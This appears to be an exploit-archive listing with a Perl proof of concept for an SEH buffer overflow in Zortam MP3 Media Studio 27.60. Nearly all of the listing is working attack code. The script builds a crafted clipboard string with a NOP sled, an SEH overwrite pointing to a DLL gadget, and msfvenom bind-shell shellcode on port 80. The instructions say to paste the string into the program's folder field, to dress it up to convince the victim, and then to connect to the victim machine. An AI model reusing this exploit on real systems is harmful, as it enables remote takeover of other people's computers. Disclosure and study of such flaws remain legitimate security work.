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Zortam MP3 Media Studio 27.60 Remote Code Execution

Zortam MP3 Media Studio 27.60 Remote Code Execution
Posted Nov 20, 2020
Authored by Vincent Wolterman

Zortam MP3 Media Studio version 27.60 suffers from a code execution vulnerability.

tags | exploit, code execution
MD5 | a53536cec733866dd62729901b31c2ea

Zortam MP3 Media Studio 27.60 Remote Code Execution

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# Exploit Title: Zortam Mp3 Media Studio 27.60 - Remote Code Execution (SEH)
# Date: November 19, 2020
# Exploit Author: Vincent Wolterman
# Vendor Homepage: https://www.zortam.com/index.html
# Software Link: https://www.zortam.com/download.html
# Version: 27.60
# Tested on: Windows 7 Professional SP 1 Build 7601; Windows 10 Professional Build 19041

# Steps to reproduce crash:
# 1) Run provided Perl code Zortam_MP3_Studio_poc.pl
# 2) Open Zortam_Crash.txt output file
# 3) Copy contents of text file to clipboard
# 4) Open Zortam Mp3 Studio
# 5) From the Menu bar -> File -> New Library
# 6) Click ‘OK’ when prompted ‘Do you want to create a new Mp3 library?’
# 7) Paste the contents of Zortam_Crash.txt into the ‘Select Folder’ field
# 8) Click 'OK'
# 9) Connect to victim machine on port 80

#!/usr/bin/perl

$baddata = "Metal's_Greatest_Hits"; # you can put whatever you need to here to convince victim (will be seen during crash)
$baddata .= "\x90" x (268-length($baddata)); # exact overwrite at 272

$nseh = "\xeb\x0b\x90\x90"; # nseh overwrite JMP short 11 bytes into NOP sled

# 0x10015962 : pop ecx # pop esi # ret | ascii {PAGE_EXECUTE_READ} [WNASPI32.DLL] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v2.0.1.50
# (C:\Program Files\Zortam Mp3 Media Studio\WNASPI32.DLL)

$seh = "\x62\x59\x01\x10"; # seh overwrite
$nop = "\x90" x 12; # NOP sled

# msfvenom -p windows/shell_bind_tcp LPORT=80 -b "\x00\x0a\x0d" -f perl -v payload EXITFUNC=seh
# Payload size: 355 bytes

$payload =
"\xd9\xcf\xbf\xad\x91\xa4\xe3\xd9\x74\x24\xf4\x5a\x29\xc9" .
"\xb1\x53\x83\xc2\x04\x31\x7a\x13\x03\xd7\x82\x46\x16\xdb" .
"\x4d\x04\xd9\x23\x8e\x69\x53\xc6\xbf\xa9\x07\x83\x90\x19" .
"\x43\xc1\x1c\xd1\x01\xf1\x97\x97\x8d\xf6\x10\x1d\xe8\x39" .
"\xa0\x0e\xc8\x58\x22\x4d\x1d\xba\x1b\x9e\x50\xbb\x5c\xc3" .
"\x99\xe9\x35\x8f\x0c\x1d\x31\xc5\x8c\x96\x09\xcb\x94\x4b" .
"\xd9\xea\xb5\xda\x51\xb5\x15\xdd\xb6\xcd\x1f\xc5\xdb\xe8" .
"\xd6\x7e\x2f\x86\xe8\x56\x61\x67\x46\x97\x4d\x9a\x96\xd0" .
"\x6a\x45\xed\x28\x89\xf8\xf6\xef\xf3\x26\x72\xeb\x54\xac" .
"\x24\xd7\x65\x61\xb2\x9c\x6a\xce\xb0\xfa\x6e\xd1\x15\x71" .
"\x8a\x5a\x98\x55\x1a\x18\xbf\x71\x46\xfa\xde\x20\x22\xad" .
"\xdf\x32\x8d\x12\x7a\x39\x20\x46\xf7\x60\x2d\xab\x3a\x9a" .
"\xad\xa3\x4d\xe9\x9f\x6c\xe6\x65\xac\xe5\x20\x72\xd3\xdf" .
"\x95\xec\x2a\xe0\xe5\x25\xe9\xb4\xb5\x5d\xd8\xb4\x5d\x9d" .
"\xe5\x60\xcb\x95\x40\xdb\xee\x58\x32\x8b\xae\xf2\xdb\xc1" .
"\x20\x2d\xfb\xe9\xea\x46\x94\x17\x15\x68\x35\x91\xf3\x02" .
"\xa5\xf7\xac\xba\x07\x2c\x65\x5d\x77\x06\xdd\xc9\x30\x40" .
"\xda\xf6\xc0\x46\x4c\x60\x4b\x85\x48\x91\x4c\x80\xf8\xc6" .
"\xdb\x5e\x69\xa5\x7a\x5e\xa0\x5d\x1e\xcd\x2f\x9d\x69\xee" .
"\xe7\xca\x3e\xc0\xf1\x9e\xd2\x7b\xa8\xbc\x2e\x1d\x93\x04" .
"\xf5\xde\x1a\x85\x78\x5a\x39\x95\x44\x63\x05\xc1\x18\x32" .
"\xd3\xbf\xde\xec\x95\x69\x89\x43\x7c\xfd\x4c\xa8\xbf\x7b" .
"\x51\xe5\x49\x63\xe0\x50\x0c\x9c\xcd\x34\x98\xe5\x33\xa5" .
"\x67\x3c\xf0\xdb\x96\x8c\xed\x4c\x01\x65\x4c\x11\xb2\x50" .
"\x93\x2c\x31\x50\x6c\xcb\x29\x11\x69\x97\xed\xca\x03\x88" .
"\x9b\xec\xb0\xa9\x89";


$file = "Zortam_Crash.txt";
open (FILE, '>Zortam_Crash.txt');
print FILE $baddata;
print FILE $nseh;
print FILE $seh;
print FILE $nop;
print FILE $payload;
close (FILE);

print "Exploit file created [" . $file . "]\n";
print "Buffer size: " . length($baddata) . "\n";
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